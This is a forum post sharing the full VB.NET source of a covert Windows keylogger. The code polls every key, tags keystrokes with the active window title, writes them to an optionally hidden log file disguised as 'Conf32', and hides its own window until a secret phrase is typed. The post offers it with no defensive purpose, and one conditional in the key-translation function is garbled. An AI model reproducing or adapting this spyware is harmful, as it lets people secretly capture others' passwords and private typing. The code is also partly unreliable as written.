Expermicid Posted June 10, 2012 Share Posted June 10, 2012 (edited) Source code by Xeldon (XLDN) [lenguaje=vb.net]Imports System.Web Imports System.IO Imports System.Net.Mail Imports System.Environment Imports System.Windows.Forms.Keys Public Class Form1 'Handle od the open windows _ Private Shared Function GetForegroundWindow() As System.IntPtr End Function 'Send string with the window name to the handle. _ Private Shared Function GetWindowText( _ ByVal hWnd As System.IntPtr, _ ByVal lpString As System.Text.StringBuilder, _ ByVal cch As Integer) As Integer End Function Dim inUse As Boolean = False Dim result As Integer Dim timeHour As String Dim openProgram As String = "Default!!!" Dim writer As StreamWriter 'declaro la funcion como as int16 para qe rule on w7 x64 Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Int16 'integer Private Sub btnExit_Click(ByVal sender As System.Object,_ ByVal e As System.EventArgs) Handles btnExit.Click End End Sub Private Sub Form1_Load(ByVal sender As System.Object,_ ByVal e As System.EventArgs) Handles MyBase.Load btnStop.Visible = False dlg.FileName = "Conf32" dlg.Filter = "txt files (*.txt)|*.txt|All files (*.*)|*.*" dlg.InitialDirectory = "C:\" tbRoute.Text = dlg.FileName End Sub Private Sub Timer1_Tick(_ ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick Dim title As New System.Text.StringBuilder(New String(" "c, 256)) Dim ret As Integer Dim WindowName As String Dim hWnd As IntPtr = GetForegroundWindow() For cont = 1 To 255 result = 0 result = GetAsyncKeyState(cont) 'gets the key state If result = -32767 Then 'if a known key is pressed inUse = True If hWnd.Equals(IntPtr.Zero) Then Return ret = GetWindowText(hWnd, title, title.Length) If ret = 0 Then Return WindowName = title.ToString.Substring(0, ret) If WindowName <> Nothing AndAlso WindowName.Length > 0 Then If WindowName.Contains(openProgram) = False Then openProgram = WindowName writer.Write(NewLine & "===== " & WindowName & _ " =====" & NewLine & NewLine) End If End If If (TranslateKey(cont) <> "") Then writer.Write(TranslateKey(cont)) tbCheck.AppendText(TranslateKey(cont).ToUpper) If tbCheck.Text.Contains("SHOW XELDON") Then tbCheck.Text = "" Me.Show() Me.ShowInTaskbar = True End If End If End If Next cont End Sub Private Sub btnStart_Click(ByVal sender As System.Object,_ ByVal e As System.EventArgs) Handles btnStart.Click timeHour = DateTime.Now.ToString() Timer1.Enabled = True Timer2.Enabled = True Me.Hide() Try Dim route As String = dlg.FileName writer = File.AppendText(route) If cbHide.Checked Then SetAttr(dlg.FileName, vbHidden) Else SetAttr(dlg.FileName, FileAttribute.Normal) End If writer.Write(NewLine & NewLine & "CONNECTION TIME: " & _ timeHour & NewLine & NewLine) Me.ShowInTaskbar = False Me.Hide() Catch ex As Exception End Try inUse = False btnStart.Visible = False btnStop.Visible = True End Sub Private Function TranslateKey(ByVal KeyCode As Long) As String Dim LngShift As Long 'Funcion optimizada para su uso en teclados españoles. LngShift = GetAsyncKeyState(ShiftKey) If KeyCode > 64 And KeyCode < translatekey =" IIf(LngShift"> 0, Chr(KeyCode),_ Chr(KeyCode + 32)) ElseIf KeyCode >= 58 And KeyCode <= 90 Then _ TranslateKey = If(LngShift <> 0, Chr(KeyCode), UCase(Chr(KeyCode))) ElseIf KeyCode >= 96 And KeyCode <= 105 Then _ TranslateKey = Chr(KeyCode - 48) ElseIf KeyCode >= 112 And KeyCode <= 123 Then _ TranslateKey = "{F" & KeyCode - 111 & "}" Else If KeyCode = 1 Then TranslateKey = "" If KeyCode = 2 Then TranslateKey = "" If KeyCode = 4 Then TranslateKey = "" If KeyCode = 160 Then TranslateKey = "" If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}" If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}" If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}" If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}" If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}" If KeyCode = 32 Then TranslateKey = " " If KeyCode = 27 Then TranslateKey = "{ESC}" If KeyCode = 46 Then TranslateKey = "{DEL}" If KeyCode = 36 Then TranslateKey = "{HOME}" If KeyCode = 35 Then TranslateKey = "{END}" If KeyCode = 33 Then TranslateKey = "{PAGE UP}" If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}" If KeyCode = 45 Then TranslateKey = "{PASTE}" If KeyCode = 144 Then TranslateKey = "{NUM}" If KeyCode = 111 Then TranslateKey = "{NUMPAD / }" If KeyCode = 106 Then TranslateKey = "{NUMPAD * }" If KeyCode = 109 Then TranslateKey = "{NUMPAD - }" If KeyCode = 107 Then TranslateKey = "{NUMPAD + }" If KeyCode = 13 Then TranslateKey = "{ENTER}" If KeyCode = 8 Then TranslateKey = "{BACK}" If KeyCode = 221 Then TranslateKey = "{ACCENTO}" If KeyCode = 9 Then TranslateKey = "{TAB}" If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}" If KeyCode = 162 Then TranslateKey = "{CNTRL LEFT}" If KeyCode = 163 Then TranslateKey = "{CNTRL DER.}" If KeyCode = 91 Then TranslateKey = "{WINDOWS}" If KeyCode = 164 Then TranslateKey = "{ALT}" If KeyCode = 165 Then TranslateKey = "{ALTGR}" If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}" If KeyCode = 188 Then TranslateKey = IIf(LngShift <> 0, ";", ",") If KeyCode = 190 Then TranslateKey = IIf(LngShift <> 0, ":", ".") If KeyCode = 189 Then TranslateKey = IIf(LngShift <> 0, "_", "-") If KeyCode = 187 Then TranslateKey = IIf(LngShift <> 0, "*", "+") If KeyCode = 219 Then TranslateKey = IIf(LngShift <> 0, "?", "'") If KeyCode = 220 Then TranslateKey = IIf(LngShift <> 0, "º", "ª") If KeyCode = 48 Then TranslateKey = IIf(LngShift <> 0, "=", "0") If KeyCode = 49 Then TranslateKey = IIf(LngShift <> 0, "!", "1") If KeyCode = 50 Then TranslateKey = IIf(LngShift <> 0, """", "2") If KeyCode = 51 Then TranslateKey = IIf(LngShift <> 0, "·", "3") If KeyCode = 52 Then TranslateKey = IIf(LngShift <> 0, "$", "4") If KeyCode = 53 Then TranslateKey = IIf(LngShift <> 0, "%", "5") If KeyCode = 54 Then TranslateKey = IIf(LngShift <> 0, "&", "6") If KeyCode = 55 Then TranslateKey = IIf(LngShift <> 0, "/", "7") If KeyCode = 56 Then TranslateKey = IIf(LngShift <> 0, "(", "8") If KeyCode = 57 Then TranslateKey = IIf(LngShift <> 0, ")", "9") If KeyCode = 145 Then TranslateKey = "{ROLL}" If KeyCode = 44 Then TranslateKey = "{PRINT}" If KeyCode = 19 Then TranslateKey = "{PAUSE}" If KeyCode = 16 Then TranslateKey = "{SHIFT}" End If End Function Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick If inUse = True Then timeHour = DateTime.Now.ToString() Try writer.Flush() writer.Close() Catch ex As Exception End Try Try Dim route As String = dlg.FileName writer = File.AppendText(route) If cbHide.Checked = True Then SetAttr(dlg.FileName, vbHidden) Else SetAttr(dlg.FileName, FileAttribute.Normal) End If writer.Write(NewLine & NewLine & "::::::::::::::::::::::::::::::::::::::::::::::::" & _ timeHour & "::::::::::::::::::::::::::::::::::::::::::::::::" & NewLine & NewLine) Catch ex As Exception End Try End If inUse = False End Sub Private Sub Form1_FormClosing(ByVal sender As System.Object, _ ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles MyBase.FormClosing End End Sub Private Sub Button1_Click(ByVal sender As System.Object, _ ByVal e As System.EventArgs) Handles btnSelectRoute.Click dlg.ShowDialog() End Sub Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) MsgBox(dlg.FileName) End Sub Private Sub rut_TextChanged(ByVal sender As System.Object, _ ByVal e As System.EventArgs) Handles tbRoute.TextChanged tbRoute.Text = dlg.FileName End Sub Private Sub dlg_FileOk(ByVal sender As System.Object, _ ByVal e As System.ComponentModel.CancelEventArgs) Handles dlg.FileOk tbRoute.Text = dlg.FileName End Sub Private Sub Button2_Click_1(ByVal sender As System.Object, _ ByVal e As System.EventArgs) Handles btnInfo.Click Form2.Show() End Sub Private Sub Button3_Click(ByVal sender As System.Object, _ ByVal e As System.EventArgs) Handles btnDeleteLog.Click Try writer.Close() btnStop.Visible = False btnStart.Visible = True File.Delete(dlg.FileName) Catch ex As Exception MsgBox("Delete error: " & ex.Message) End Try End Sub Private Sub st_Click(ByVal sender As System.Object, _ ByVal e As System.EventArgs) Handles btnStop.Click Timer1.Enabled = False Timer2.Enabled = False writer.Write(NewLine & NewLine & "DISCONNECTION TIME: " & timeHour & _ NewLine & NewLine) writer.Close() btnStop.Visible = False btnStart.Visible = True End Sub End Class[/lenguaje] Fuente: malws-zone Saludos Edited February 16, 2014 by Expermicid Link to comment Share on other sites More sharing options...
Recommended Posts